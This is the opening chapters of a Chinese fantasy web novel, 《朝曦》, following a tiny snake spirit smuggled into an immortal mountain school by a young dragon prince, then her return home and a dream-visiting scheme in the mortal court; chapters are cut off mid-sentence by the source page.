《朝曦》 1. 雾仪修行 《朝曦》全本免费阅读 仙山万年如春,人间又复惊蛰。 冬春二季更替,花草树木一夜之间开出嫩芽新苞,娇俏油绿,明媚新黄,生机勃勃的点缀在世间各处,蒸腾出一片盎然春意,而休眠了整冬的生灵争相出洞,飞禽走兽,蛇虫鼠蚁,蓄养了多时无不精力充神,或为食,或为宿,与凡人一样为着各自所需奔走忙碌着。 万物复苏于凡间来说是件极其美好的事,而于神仙来说,因为日日如此,便不觉有什么特别。 海域的尽头处是凡世,而在这一端的仙山岛屿上,可以看见雷神踏在水波天际的云头上布着阵阵春雷,霓色天雷鲜为凡世所见,在仙界却司空见惯。布雷结束后,雨神继而施雨,忽降的雨水引起海水高涨,潮汐涌上岸边,淹湿了行人的鞋袜,正与家人拜别的两个仙童躲了躲,便相伴向这仙山之门走去。 白裳小童睁着浑圆的大眼将四周望了望,心中甚感新奇。而那蓝衣小童则顽皮的紧,一时走着,一边将涌上滩来的蚌贝鱼虾逐个踢飞,稚颜恣意欢快,十分雀跃,正当他踢的起劲,忽觉脚下踩中了一趴软塌物什,俯身抬脚,竟是一条通体黑亮,身间缀着几朵黄色花斑的条状生物。 他将它提溜起来细细打量,除了斑纹俏皮外,一双眼瞳生得漆黑莹亮,宛如黑珍珠呈映着淡淡光泽。而那七寸长短的身量,让蓝衣小童对它的种属难以分辨。“莫不是条蚯蚓?” 白裳小童偎近看了看:“说是蚯蚓这体型也未免大了些。” “难道是蛇?便是条刚从蛋单孵出来的蛇,也比它大。”他捏着它的七寸,左左右右上上下下的甩了甩,见它一副沉沉死气不免失落:“大抵是快死了。” 岂知这小软物只是昏厥,在蓝衣小童的左摇右晃下慢慢复苏,当它恢复了意识,庆幸自己活着时,看到面前这两个白嫩的小娃,心中不由生出大大的恐惧,一尾幼龙与一只鹏鸟,正正是蛇的天敌。 “既然快死了,不如我们将它炖了汤羹吃?” 小蛇听闻不免身子一僵,求生本能令它挣扎,以自己最为凶狠的模样朝他吐了吐那鲜红的信子,意在表明我是蛇,不是蚯蚓,我还活着。 蓝衣小童见它有了意识,颇觉意外,再细瞧了它,心中油然生出几分喜欢:“还活着?既有信子,姑且当你是条蛇吧,不过你这样娇小,想来是营养不良的缘故,从今尔后,你跟了我,便叫你吃的和我一般健壮。” 小蛇莫不一惊,白裳小童也有些意外:“你要带它入山吗?咱们是来拜师修行的,范老神仙早有话说,不准咱们私带灵物进来,何况它隶属蛇类。” “蛇类怎么?” “七万年前的六界浩劫便是蛇族所为,事后动荡虽平,此氏族被天界视为狠戾一族,在神仙之境,蛇族早已是禁忌。” “是吗,我竟忘了。”蓝衣小童捏着下巴认真的点了点头,完全没有听进心里:“咱们要在此处困上不知多久,身旁没个乐趣岂不要无聊死?况这小蛇,我观它并不是什么灵物,范懿老神仙不见得就能发现。”说着,他便将小蛇藏进袖兜傲然自得的朝那山境结界走去,白裳小童收起忧色一道跟上,齐齐消失在海边。 骤见强光刺眼,纵躲在衣袖里,小蛇也被晃得眩晕难奈,而这些小仙童们习以为常自然不觉。当他们真正进入山境后,才难得一致的露出诧异神情,这山中草木全无,气流稀薄,抬头是沉闷天色,垂目是荆刺丛生,远处沼泽成片,再远则是浊气聚团,活生生一副苦绝的不垦荒地,何来半点仙山神屿的样子?一张张稚嫩脸庞环顾四周,前来拜师之人竟有百余人多,蓝衣小童面色沉重,刹时觉得自己被母亲诓骗了,说这雾仪山是上古神山,何等何等的仙气纯净,这范懿老神仙又是怎样的神识渊博,受人尊崇,总之,将这里描述的不能再好。 连兄姐都说这范懿收徒严苛,资质平庸之辈是难以入门的,许多人为不能随他修行而抱撼于心,然眼前这般情景,这众少不更事的小神仙,让他感觉自已是被发配流放了。 再次环看了四周,不由瘪了瘪嘴:“广告做得好,收徒没烦恼,看来是老神仙也要食人间烟火的。” “什么是人间烟火? 一个柳色衣衫的小仙女奇惑问道,蓝衣小童只顾心烦并不理会她,只将袖中里的小蛇取出,揉捏把玩了一番。适才死里逃生,眩晕未解,又被这娃娃一通折腾,它很怀疑自己劫数已至,小蛇心中战栗,一面为自己不明的前景担忧,一面想着,如能借助仙境灵息幻化人形便也罢了,若还是一如原状,这一趟遭遇也太没意思了。 话说修行已近万年,旁的花精草精多已修成了人形,就连洞庭的□□*精也已经幻做个男子,虽然相貌惊悚了些,但好歹是个人,反观自己始终无所进阶,一直都是这小小模样,想了想也怪不得体这小龙娃娃将自己当做蚯蚓,普天之下,的确没有哪条蛇长成自己这副样子。 “你手里是什么,看起来像一条花虫子?”柳衫小仙女的形容让它抖了抖。 蓝衣小童不予理会,直接转过身去将它藏进袖中,与此同时,无明处忽然发出几道贯耳雷声,远处那团浊气开始蠢蠢欲动,原本闷哑的上空霎时暗淡无光,不多时便遮天蔽日。随着几道响彻天际的紫闪金雷劈下,那团浊气忽然幻形为一头雾霾巨狮朝这奔来,它张着血盆大口欲将他们一一吞噬,这众小仙童被这突来的恐惧之象所慑,四处逃窜,啼哭惊叫,他们的抵御完全没用,很快,那狮子便叼住几个孩子囫囵吞下,遂即吐出几副白骨…… 柳衫小仙女吓的浑身瘫软,坐在地上不得动弹,那狮子缓慢逼近,只见她僵住了脸,连哭都不会了。 瞬间未过,百余仙童死的死,伤的伤,逃的逃,唯剩蓝,白,还有个几年纪略长些的。看着眼前一切,蓝衣小童不做思考,即刻幻出一只银色长鞭,身法迅捷的卷在柳衫小仙女的腰间,火速将她从巨狮的嘴边抢了下来,那狮子的目标转而移向他们,他索性将长鞭飞了过去,死死卷住它的脖颈,长鞭在他的术下变幻成一道铁链,双指立刻捻起法诀口中诵持咒语,一道寒气顺着铁链传去,狮子的脖颈瞬间凝结成冰,暂时被困住,白裳小童连同几人一道输力相助,却也只是短暂的抵御,因为再能打,也不过是几个修为浅简的孩子,根本压制不了巨狮,所以不出片刻,狮子身躯一震,将那冰棱铁链悉数震开。 几人均被弹开,像天女散花一般被洒落满地。 藏身于蓝衣小童袖兜里的小蛇飞出,准确的说是被抛出,将才一番恶斗,它还不知道发生了什么事,但看到眼前巨兽獠牙利齿,面目狰狞,一副恨不能吞掉所有之势,便知道自己又摊上事了。 天下真理,活命才是硬道理,这一点在六界众生中共通共融,无分语言种族国界。小蛇生来慧眼,可窥探寻常生灵的真元命门,黑珍珠般的双眼在暗黑之中荧荧烁烁,探明之后便以密语传声之法告诉蓝衣小童。 "巨兽命门乃是双目空洞之处,合二人力刺去即可。" 情势紧急,蓝衣小童不迭疑虑声音源自何处,便与白裳小童各自幻出剑来,朝兽眼攻去,二人身段矮小,打斗时废了好些力气,最终持剑穿目而过,一时间巨兽痛苦哀嚎,发疯似的四处撞击,天地之间飞沙走石,狂风骤起,一阵折腾后,那巨兽便恢复本来面目,化形为气,消散的无影无踪,而上空,拨云见日,一派晴朗。 存活下来的几人感到惊诧讶异,而当他们看到被巨兽吞食的仙童们纷纷复活,更是一头雾水,直待一位鹤发童颜的老者携一男一女从天而降,一贯灵识敏锐的蓝衣小童立刻意识到,这不过是一场考试。 老者看了看一众仙童,面做欣慰之色:“此番乃是一场考验,入我门者须得仙格,品性,胆识,智谋,能力五者兼备,似方才不顾同门死活,只知自己逃命者,自不能留。”说罢,便长袖一挥,百余仙童立时去了半数。 “不战而降者,亦不可留。”蓦一扬手,又去了大半。 余数仅剩十三四人,老者一一看过又做安排:“你等十人随雀翎仙者去往雾水阁听候安排。” “是。” “你四人,随绮幽仙子去歇息,午时膳后在荆兰殿聚合。”老者的长袖指了指蓝衣小童、白裳小童,柳衫小仙女,还有一个稍稍年长的大童道。 “那我们可是通过考验了?” 不等柳衫小仙女问出口,老者便瞬息不见,四人随着绮幽仙子转往学徒们的休憩之所洛羽谷,经过云台时看见远处海面泛起紫色光晕,蓝衣小童好奇,便指向那处问道:“那紫色的光是什么?” 绮幽顺势去看,本就不怎么和悦的脸色更加暗沉,她肃声厉色斥道:“你们现下要做的是管好自己,不该看的不看,不该问的不问,不该管的不要管。” 其余三人听话点头,偏偏蓝衣小童不,他扬起那颗高傲的小脑袋,挑衅发问:“何为不该?” “你现在就很不该。” “该与不该怕不是你一个仙姑能说了算的吧?” “你......” 白裳小童见状不妙,便上前劝说:“仙子气量高深,莫与他计较。” 绮幽仙子白了他一眼,便扔下四人匆匆离去。绮幽和雀翎是范神仙的左膀右臂,她如此紧张,定然是山中有要紧事,到底是什么事呢?一定是与那海上的紫光有关,可那紫光到底是什么?蓝衣小童好奇极了,浓厚的探究欲促使他左右打听。 “我听说......”柳衫小仙女轻盈盈的声音引起他的注意。 “听说什么?” “听家里人说,雾仪山好像封印着一个十分厉害的妖。” “然后呢?” “没有然后了。” “废话。” 到了洛羽谷,四人中除了蓝衣小童,脸上都泛着溢于言表的喜悦,各自打理好自己的房间后,便同去膳厅,而蓝衣小童的耳里总萦绕着在斗狮时的那个声音,那句提点,要说是这班仙童们里的人所为,可这指点命门之神通绝对不可能,要说是那三个活的甚久的老神仙,怎么瞧也不像,思忖良久也没能想出个首尾来,便又掏出小蛇来摆弄,拽了拽它的尾巴,弹了弹它的脑袋,见它仍然软榻低声关切道:“你可是饿了?适才我看了看他们的饭菜,一应青绿,素的感人,从今日起,只怕你要继续营养不良,做一条食素的小蛇了。” 什么?入山前的话都 2. 灵宠 《朝曦》全本免费阅读 不知道再说什么好,离开荆兰殿后几人便打听到,这雾仪山十几万年来出师的,寥寥无几。 南溟想,若真如那师公小老儿一般,倒不如早早被遣返回去。一面盘算着,一面悄悄从房中出来,抬头正逢上明润清雅的月亮,漫洒出一缕缕轻薄的光辉披裹在藤萝翠竹,花枝草木上,任其汲取这盈月精华,摇曳出姿态体香;浅水里的假山形状各异,澄泛出晶莹剔透的紫,与白日里大不一样,近身去探,竟是旷古罕见的紫晶所化,空炁爽朗的令人神怡,疲累悄悄释然后,身子立时如羽化般得以轻快。 仙山变幻无穷,的确不负上古之名,是个修行圣地,可惜除了舒服别无乐趣。南溟正是贪玩的年纪,当然不被这景色所诱,他看了看这皎月,忽然想起了菜菜,若是夜夜得这月亮精华滋养,这条凡俗小蛇会不会修成灵物? 四周无人,他将嗜睡的菜菜放到月光聚集的地方,思了思想了想,老神仙鼻息尚灵,得想个法子掩藏住菜菜的气息,他运气调息,索性渡了自己的些许仙气给它。 “谁在那?” 南溟一惊,见有一人过来,便慌忙将菜菜扔进池水里。 “是你?这么晚了怎么还不休息?”这位不知是师叔还是师兄的白衣同门脸上疑窦重重,仔细看了看又没发觉什么异常。 “看星星。” “可我方才见你在吐纳仙气。” "我身为一条龙,素日生活在海里,习惯自然同你们这陆地上的生物有所不同。" “那怎么东海的二殿下般颉没有你这许多习惯?” “同是仙山灵島,蓬莱山却没有你这许多门规,这你怎么不说?况且,东海二殿下是哪个?” “……”被一个新来的怼的无话可说,他很不忿,但也只能吞进肚子里,谁叫他是南海神君家的小殿下呢?谁叫那南海神君曾多次神魔之战中立下战功?看来,这是一个靠父荫庇护便能横行的世道。“就是与你一道选进来的那位,高高壮壮的,年纪长你们一些。” 他眼中轻蔑的以为,四海以东海为首,南海神君神阶低于东海神君一品,他定然也怕那东海二殿下,南溟睨了一眼便觉得可笑至极:“莫不是学上多了,也能将人学傻了?东海二殿下怎么?晨时斗法也未见他有什么本事,还不是乖乖跟在本殿下身后?你可还有事?没事便退了吧,莫搅扰本殿下赏月。” …… 无故吃了一瘪,心中极是不忿,可这小孩是肉眼可见的得罪不起,便只好将这不忿生咽下去,悻悻离开,白裳小童正巧过来,撞见这位仙者脸色难看,又看了看南溟,便猜出一二来。 南溟迎上他的目光,浅浅一笑,这些人中,只有这小仙童让他看的顺眼些,于是便相互郑重认识一番,那白衣小童名唤亦棠,是乐游山中大鹏子息。 “听说,你父君是如今神族唯一的应龙?” 南溟不加思索,点了点头。 “那你呢?”亦棠问。 南溟难得谦逊:"在下不才,目前还是一条普通的龙。" “我们族里常说,如今龙族是神族里最为尊贵的一族,因为在涿鹿之战里襄助黄帝打败蚩尤,又在神魔之战中斩杀许多凶兽,便奠定了在神族的地位。你父君便是那位应龙神君?” 南溟复又点头,亦棠神色更见钦佩。 “你们大鹏一族虽不问世事,但与西天佛祖渊源颇深,地位举足轻重,也是不可轻视的。” “六界之中,地位尊贵的氏族不在少数,这样看来祖荫并不能够长久依靠,日久天长,可指望的,还是自身勤勉吧。” 这两句话令南溟灵台一明,半晌前只觉得他是个好相处的人,这一番交谈,发现他与自己认识的那班小神仙们全然不同,按照大人们的话,亦棠该是个有出息的人。 难得投机,日常不爱多言的他忍不住啰嗦几句:“浩劫来时,尊贵抵御不了任何,它其实除了锦上添花,别无用处。” “浩劫?可是师尊说的神魔争战?” “不尽然,说浩劫只是战争太过片面。” “那又能是什么?” “湮灭,消失,归零,重启。” 越往下说,亦棠越是一头雾水,难以明白。南溟两步走到旁边的矮石上,浅简组织了下语言说道:“就是早晚有一天,我们,包括六界一切,会以各种方式消失,就像帝神归墟一般,一切都是天地规律,宇宙法则,谁也违逆不了,就拿你说的氏族来说吧,上古而来的种族们一个个何其厉害,到底也在漫漫岁月里日渐凋零,时至今日有不少已然消迹于洪荒,留下来的则也不复往日辉煌,譬如那狐族,起初于神族中地位不凡,可近年来却渐渐妖魔化,而那蛇族更加可惜,原是天地初开万灵之祖,然而只因出了几头凶兽,便将此族视为阴鸷狠戾一族,处处压制再不得重视,令人唏嘘。” 亦棠糯白的小脸先是一惊,后又一惧,惊的是这个人人唱衰的应龙之子竟然通懂这么多,惧的是,他这派言论为神族所忌,仙族不容,尤其在这雾仪山,若被人听了去实在不妙。 “大逆之言万不可再说,还有,你那条菜花小蛇呢?依我看也快快送走吧,若真被师尊发现……” 两人你一言我一语,竟忘了菜菜还泡在池里,不过认真说来蛇也属水族,没可能会惧水的,南溟如是想,可当他俯身看到水池里直挺挺的菜菜,立时傻了眼:“这是怎么了?” 他迅速捞起那菜花小蛇,只见它紧阖双目,身子滚烫,一副濒死之狀,气息甚至比捡到它时还要微弱。 “菜菜,菜菜你快醒醒!” 见南溟慌张不安,亦棠便走近看了看:“适才做了什么?” “只渡了几口仙气给它,再就是在这池子里泡了会……” “同为水族,渡气应当不会有什么问题,那只能是……"亦棠撩起一缕水放于鼻息前闻了闻,当即恍然:“这便不怪了,它若再泡一会,只怕要去幽冥司报道了。” “怎么……” “这水里有雄黄,你不知道蛇怕雄黄吗?” 这他还真不知道,南溟又渡了些仙气给它,好半晌后,菜菜终于回过气来,身子也复清凉软和,他这才松了口气。 “你这小蛇,可吓死我了……” 死里逃生,菜菜头脑昏沉的看着这个恩公(仇人),心里五味杂陈,它想如若在他身边多待上些时候,不必多久就能变成一条短命蛇,它不想死于无知,死于非命,于是它便下定决心寻个机会离开这里,离开这个神经大条的小龙人。 机会,不是说有就有,但等等总是会来的。 自从险些死掉后,南溟对菜菜格外上心,一有空闲便回到房间检查它的死活,担心它凡体气息被发现便夜夜在房中布满自己的龙气,怕它觉得此处寡淡便移了几株凤仙花在房中,又恐它寂寞无聊,向一个师兄讨要了山中的一只犀鸟与它做伴,每逢惊蛰这样的节日,还会送些礼物,比如从紫玉假山上割了块最为晶莹的玉石与它做了个冠……对这只凡俗小蛇,他表现出了从未有过的体贴,但是无知害死人,亦能害死蛇,南溟并不知道,继雄黄池水之后,菜菜一度又昏死过去,乃是因为凤仙花犀鸟是蛇的天敌,而房中过盛的龙气让菜菜不堪重负…… 南溟很是 3. 乌榆林 《朝曦》全本免费阅读 时隔千年,因为容貌变得彻底,乌榆林的小伙伴们没有半个认得出她来,哪怕是她最好的朋友宝芝,也认不出她一星半点。 从前是一条黑底黄花小蛇,如今再变其身,已是一条身量细长的雪青色蝮蛇,周身光泽滑润,粼粼闪闪行动如风。 林子里的各路精灵妖魅纷纷赶来,审视着这条略泛着贵气的不速之客,众灵窃窃私语嘀嘀咕咕中,乌榆林的二把手显身,反复打量盘问,終因这不凡的真身没敢将她炖了,菜菜心想,看来拥有一副好皮囊,真的大有益处,若是在那条小龙面前,是如今这副相貌,或许他就不敢小巧了自己。 幻形为人,一个彩衣男子摇着羽扇定定看着她。“何方蛇精,胆敢闯我乌榆林来?” “庚酉君?”这许多年过去了,他竟然成了这林子里的二当家。“数年不见,庚酉君别来无恙,如今这林中主事的,可还是丹妩姐姐?” 名唤庚酉的男子惊奇不已:“你怎么知道这些?” “我是菜菜。”并着这句,在大家不可思议的神色下,她将自己在雾仪山的“离奇遭遇”娓娓道来,初时大家觉得不可思议,没人愿意相信她,但等她罗列一桩又一桩的乌榆往事时,大家才又不得不重新审视她,好在,不管她变了多少次真身,那双如明珠点漆的眼睛,不变分毫。 “菜菜!”宝芝也幻了人形,一把将她抓进怀里,左拥右抱起来。 “宝…宝芝……不要这么激动。” “这些年你去了哪了?我以为你已经横遭不测了……” “这个,跟横遭不测也很是接近了,呵呵,呵呵。”菜菜苦笑两声:“那日吃饱了散步,被黑熊精的儿子用几颗枣子打了个懵,正巧赶上河伯发怒,一通大水将我冲走,谁知就这么漂到了那雾仪山边……” “雾仪山?那不是神仙的地盘吗?那你是见到神仙了?神仙都长的什么模样?可是三头六臂?九个脑袋?” 听闻菜菜有了仙境际遇,大家都纷纷簇拥上来,想听一听这林外的世界,听一听这众生向往的仙界。 虽说日日能听到老神仙讲经,可她真正能见到的,也只有那几个孩童。为了丰富谈资,不叫别人觉得自己在扯谎,便努力的回想那小龙说过的话。 “仙人的日常很是无聊寡淡,不是诵经就是听法,远不及我们这里来的有趣……” “仙人法力无边,变幻莫测,随便织就个幻境便能取人性命……” “仙界规矩太多……” “山中封印着一只很厉害的妖。” 绞尽脑汁,再能想到的便是雄黄池水,凤仙花,犀鸟……想到这些,不寒而栗。 “呃,龙……那小龙娃娃是南海神君应龙之子。” “应龙之子?”庚酉眼珠一瞠,嘴巴张着,惊讶了一会儿。 以往常听老榆树精说过一些难以求证的八荒往事,比如神仙火气甚大,打个架输了便撞了山头,又比如看到什么巨型脚印千万不要去踩一踩,不然很有可能喜提孩子,再如不要看不起凡人,那位擅长弓箭的羿连连将九只金乌,一干凶兽射了个干净……还有那应龙,斩妖除魔的神绩天上地下神灵尽知。本以为这些都是消失于远古的事,真假不明,乍一听到这传说中的战神应龙,众人立刻呈现出敬畏的神色。 “龙族已是尊贵非常,何况应龙?”庚酉在敬畏中产生质疑,他不太相信菜菜所说的,神仙已不是一介妖精随便能见到的,何况战神应龙之子,大家都认为菜菜是在讲故事,对此她很无奈,无奈的深深一叹。 万年时间,凡尘沧海桑田,灵界亦宫移羽换,乌榆林从一处仙光霞障的钟灵之地变得暗淡无光,从枝繁叶茂变得日渐稀疏,活像一个老朽的发顶,令人唏嘘,林中的精灵们出走的出走迁移的迁移,零零散散少了许多,不复往日的热闹。 因脉连蓬莱,受其天然仙气泽陂,日月精华灌溉,许久之前的乌榆林里尽多奇珍异草,人参灵芝,与一般的山头相比,是个再适合清修不过的林子,故而此处的生灵,修为灵力增长甚快,曾几何时,有不少远方的精灵小妖慕名而来,扎根于此潜心修炼。然而此地的劣势是,这里地处陆路,一些精明的凡人只肖稍稍寻找,便能找到此处,又毗邻东海归墟,冥界之口,时有魂魂鬼鬼前来叨扰,林子的主人丹妩初掌此地时便常常忧虑,凡人贪婪无尽,采伐猎杀无度,死后成鬼,又来此处蚕食生灵,长此循环下去,乌榆林何以久存? 但看如今景象,她的忧虑已然成真了。宝芝曾提议,不如结果了那些凡人,叫他们不敢来犯,但深畏因果的老榆树精和丹妩双双拒绝,说一个立志成仙的精灵,杀害凡人乃是修道大忌,于是便采用了庚酉的法子,向勃兰河的巫女讨了个屏障将整座林子封了起来,如此一来便再不受外界侵扰,自然,也再得不到任何仙泽精华的滋养,故而日复一日下来,林子变得的萎靡暗淡。 “那勃兰河的巫女向来重利,不知是拿的什么换的这屏障?” “菜菜,你离家的这一千多年,不仅样子变得好看,连脑袋也格外灵光了。”庚酉的话听不出是讽是褒,不过素来轻佻的他说到此事,脸上也难掩佩服:“丹妩可是舍了自己五百年的道 4. 初具人形 《朝曦》全本免费阅读 “原以为你这小蛇也另寻去处了,不成想竟是历劫去了,能得如此智慧,看来是各人自有缘法造化,强留于此颓靡山林终是误人误己。” “听墙角原本是庚酉的爱好,怎么姐姐你也沾染上了?”听丹妩的话,想来刚才一应交谈的都被她听入耳里。 丹妩撩起紫纱长袖,用那凤羽小扇轻敲她的脑袋:“没大没小,姐姐也是你能品头论足的?且将你那生门死门什么的说来听听。” “姐姐果然好智慧。”菜菜恭维的十分诚恳。 “哦?此话作何讲?” “这许多年,我也只是听得一些神仙们说法讲经的只言片语,耳濡目染,并没有智慧参透什么,只知奇门遁甲中有生门和死门。咱们将危险阻隔在外,同时也将生门堵实,所谓生中有死,死中有生,置之死地方能后生,或许能挽留乌榆林于无形,姐姐方才一语勘破,想必心中早已分明清楚,只是怜悯林中伙伴生命,不敢犯险罢了。” 丹妩娇白的脸上微乎闪过一丝动容:“你去了趟雾仪山,不成想这嘴巴也越发油滑了……” 菜菜嘻嘻一笑,吐了吐信子,所谓察言观色,讨人欢心,正是这许多年来在那只小龙身边所练就。丹妩爱美,从前只肖赞她好看漂亮,楚楚动人之类,她便能开心很久,不想如今,怜悯众生这等溢美之词竟也十分受用。 “那你的意思是,撤了这屏障?” “倒先不急,一切循序渐进,缓缓而治,才能不伤根本。乌榆林的险境来自凡界,冥界,还有那闻所未闻更不曾见过的魔气,只要将这三个祸端解决了,那些危险自然迎刃而解。这三件事中,想来最好解决的应是凡人吧。” “凡人?”庚酉啧啧摇头,神情语调皆仿佛亲身经历过:“狐狸再狡猾也斗不过好猎手,凡人之中,奸狡狠毒之辈甚为不少。” 提到狐狸,丹妩忽然想起走了许久的弥斐,她掐指一算:“话说弥斐去了凡界四百多年,至今了无音讯,也不知怎样了。” “素知凡人喜穿狐皮,弥斐那皮毛通身油亮,莫不会……”宝芝想想不寒而栗,将领口紧了紧。 几人浑一激灵,怎么说弥斐也是只六千多岁的灵狐,不会就这样命丧凡人手中吧。 “想来不会吧,去凡界不是该以凡人的样貌嘛?”菜菜忆了忆,最后一次见弥斐时,他那面孔已然是浑然天成的风流,明明暗暗里不知招来多少妖精的垂涎……如今千年过去,长了些年岁,想必能渐渐稳重些吧。 “凡人样貌?那便更加不妙了。”庚酉话中有话。 丹妩蹙了蹙眉,神情冰冷不屑一顾,要知道,弥斐的人形长成之前,论皮相无人能与她媲美一二,而现在……“这厮从前便以生的俊美为傲,现下已然出落成一介妖孽了。” 看她咬牙又切齿,菜菜和宝芝忍俊不禁,不住捂嘴偷笑,这一笑丹妩怒了,一掌下去树桩立时抖了三抖,叶子纷纷落下:“你们俩有什么余地笑?你!到现在连人形都幻不成,只会纸上谈兵!” 又指了指宝芝:“你倒是勉强幻了个人形,但瞅瞅你这银盆大脸,这要是在凡界可是嫁不出去愁坏爹娘的!” “……” 庚酉不知道什么时候不见了,他总能意识到危险,并在暴风雨来临之前悄悄撤离。 “不过菜菜,你真的还不能幻做人形嘛?说实话,咱们一道成长,我这样笨的人都已经有所进阶,你这资质,真的……” “我能。”她昂首挺胸,立得笔直:“我只是怕自己人形太美,会没朋友。” “……” 乌榆林环境恶化成这样,令她心中闷哑,毕竟这是自己的家。她盘起身子发着呆,忽然想起初来时曾在林子里埋了一颗赤色小珠,那是自己有灵识不久,游窜到一处荒野时捡到的,珠子落于一株海棠树根旁,闪烁着红彤彤的光泽,似极了仙丹灵珠,菜菜张口一量,将好能衔入口中,见它无主,便携了它来到了乌榆林。 想到珠子,菜菜便去寻摸,然而这些年过去,海域地壳有所移动,林子的地势也跟着变化,它溜达了一整夜也没找到埋珠的地方,心口又添失落。 ****** 暗夜漆黑如墨,几道紫闪红晕隐隐绰绰,无声划过,天际不见皓月,连星子也没的几颗,唯有云层积压厚重,暴雨将至。 布雨的神仙职责所在,已经备好雨器,并不管那挑灯夜行的樵夫是否不便,而东海边际上空,一个穿着花哨绣袍的男子左右袖兜各揣了只精灵,恣情快意的飞行着。 “真是畅快!”他贪婪的吸吮着新鲜的空气,吐纳之间十分怡然,以至于飞行不稳,险将那兜里的两个甩了出去。 “庚酉君!劳烦你小心些!” “嘿哈,宝芝,这么多年没出这林子,难道你不激动吗?”庚酉大声呐喊,兴奋之情难以抑制。 “我是很开 5. 妖精下凡 《朝曦》全本免费阅读 “没想到生的好看竟也是罪过。”菜菜质疑,好不容易能幻做人形,竟有这千般万般的不好,真是可惜。“不知这人形是否能重塑?” “换脸?你这等同于想换一个真身。须知道,真身是父母诞育,除非死了重新投胎,否则这真身是万万不……” 凝声止语间,庚酉脸色一黯,仿佛意识到了什么。“菜菜,我记得你初来乌榆林时还是一条黛紫色小虺,数百年后化为黑黄斑纹花蛇,现如今又变得雪青银白蝮蛇……” 宝芝一头雾水,不太能明白,菜菜却通懂了他的话中话。她不并做声,准确的说她也不知道自己的身世来历,只知道天大地大,活着最大,故而也不知道怎样答他。 而庚酉一阵沉思后并未刨根问底,想来是太了解的缘故:“罢了,我看你从来浑浑噩噩,活的糊涂,哪里清楚自己什么来路。” “眼前怎么办?”蘑菇问。 “不妨先幻做凡间男子,以免徒招是非。” 菜菜点头赞同,旋即转身一变,成了个面如冠玉的英俊少年郎,身旁两人感叹,看来天底下除了贫穷、咳嗽和一个唤□□情的不明物体,尚有这美貌遮掩不住。 因地制宜,对症下药,凡人须得凡人治,不论是哪一界,没有不畏惧权势之人,除了天生的大逆之徒。所以这遭便是去向凡界的帝王讨一道圣旨,明令禁止,叫他的子民再也不敢再来乌榆林捕猎砍伐。 然而想讨到帝王的圣旨不是件易事,宝芝提议面谏,庚酉提议托梦,甚至还有一干伙伴说出以美人计诱其相助,殊不知这帝王是天界紫微星转世,生来神灵护体,若非到了邦国殄瘁,帝元将尽之时,灵界众生是近身不得的。 敛了灵体气息,向一处雅致小馆走去,三人择了一个靠窗的位置坐下,透过窗外云舒云卷,遥遥望向十丈外光晕闪烁的王宫,菜菜惆怅的吁了口气,这界王朝国祚绵长,等它亡国恐怕要猴年马月。 “看,有流星!”宝芝兴奋的指向窗外。 “青天白日的,怎么会是流星?”庚酉余光睨了睨那光痕:“那是神仙。” “你怎么知道? 菜菜满心满肺想的都是圣旨的事,对两人的对话自行忽略,在经过一系列迂回间接辗转反侧又回旋的脑力挖掘,又一条计策新鲜出炉:“帝王有神灵护体,无法靠近,难道他手下一干臣子也个个近身不得?” “你的意思是由他的臣子身上下手?” “水无至清,亦无至浑,帝王善弄权术,朝堂之上忠奸相互制衡,故而忠奸两派各有倚重,你说是诱忠臣容易,还是奸臣?” “骨头,自然是软一点的好啃。”庚酉认同,并给出意见。 “你比喻的很……妙。”菜菜神情怪异的看了看庚酉,振手一拍当即决定:“便拿那两袖清风洁清自矢的王大仁下手吧。” “?”二人双双费解。 “王大仁饱读圣贤书,讲究忠孝悌忠信礼义廉耻,我赌此人信奉神灵,主要也是……托梦要比别人来的容易许多。” “那你如何肯定奸臣柯拜厄不信奉呢?” “我信他常常求告神明,助他多多敛财?”菜菜曾在凡界游荡过数年,对于人类的心理,她莫不清楚,但凡敬奉神明的人,总是有些良知的……于是便信心十足的开展了这套方案,趁夜闯了那王大仁梦中,化了个不知名的海外神仙将请旨一事郑重托付与他,然而王大仁现实中秉公执法,梦中亦是铁面无情,并未应下,三人只好一连几天纷纷入他梦境苦口婆心,哪知这王大仁着实顽固不化,醒来从未将此事放在心上,更不必说……到御前请旨。 事没有办成,更不幸的是他们这趟行动已经被过路的神仙发现。 “终是你我牙口不够锋利,啃不动这块又老又硬的骨头……”庚酉有些埋怨,嫌弃菜菜没有听从自己的指挥。 “那柯拜厄一介奸贼,你又以什么来说服他他?”菜菜还以质疑:“美人计?” “有什么不好?” “鱼香肉丝里虽然没有鱼但有肉丝,你这美人计中的美人从何来?柯拜厄权倾朝野,什么美人没见过?不能一击即中,反叫人捏了把柄,后果谁担得起?” “美人……”庚酉试探的瞄了一眼菜菜,顿时被她那霜刀般的脸色吓退,转而又打宝芝的主意:“要说咱们林子里,宝芝你可是最最可爱的蘑菇精。” “我……” 说罢便幻了个扇子,故作轻佻呢挑了挑她的下巴颏,口中碎碎念道:“虽胖乎些,但只肖学一学丹妩的风情,唬那凡人想来不成问题。” 庚酉对自己的计划相当满意,正陶醉于其中兀自欣喜,不想一道疾风自身后袭来,脑壳忽然被什么击中,疼得他弹跳而起,三人愤而起身,回头正见一个清傲才俊端坐于桌案前,但见他纤纤玉指一边抚触着乌丝,一边执杯品茗,剑眉冷面中瞳眸深邃,眼底眉梢处处挂着轻蔑,神情峻冷远胜冰山。 定定看他片刻,菜菜和庚酉转而互视一眼,便达成共识的泄下火气,默默回身坐下,这人虽年纪轻,但却是肉眼可见的 6. 相请不如偶遇 《朝曦》全本免费阅读 “糟了。”菜菜搜了搜自己的袖兜,又将浑身搜罗一边,仿佛丢了一件很要紧的东西。 “丢的什么?” “也没什么,略略值一点钱的戒指。” “值钱?那倒不是什么难事,你只说是何物吧,在凡界只要有钱,便没有买不到的。” 它的价值并非财物可以衡量,想自己孤星转世,举目无亲,那紫晶小冠改做的戒指是自己在这世上唯一拥有的礼物,虽说送礼的人嚣张跋扈了些,但至少是他诚心相送的。 “算了,忙正事要紧。” 揣着失落的心情,与他俩来到王宫之外,此时已是深夜,看了看上空寥寥小星,掐算入梦时辰正好。只是不知道为什么,那柯拜厄最近没有回家,几乎宿在宫中伴君左右,三人苦于接近不得,便冒险来了王宫。 庚酉和宝芝只能进入一些偏僻别苑,似帝后居住的内苑始终不能直入,尚未接近,便被强烈的帝元护体仙气弹开。 连试几次都没有成功,庚酉不免气急,宝芝也很是气馁,几乎就要定论此次行动失败。一时,菜菜忽然联想到自己曾以蛇身进入雾仪山,要知道那处山脉可是上古神山,仙泽结界要比这凡界不知强上几倍,能进那里,又有什么道理进不来这儿呢? 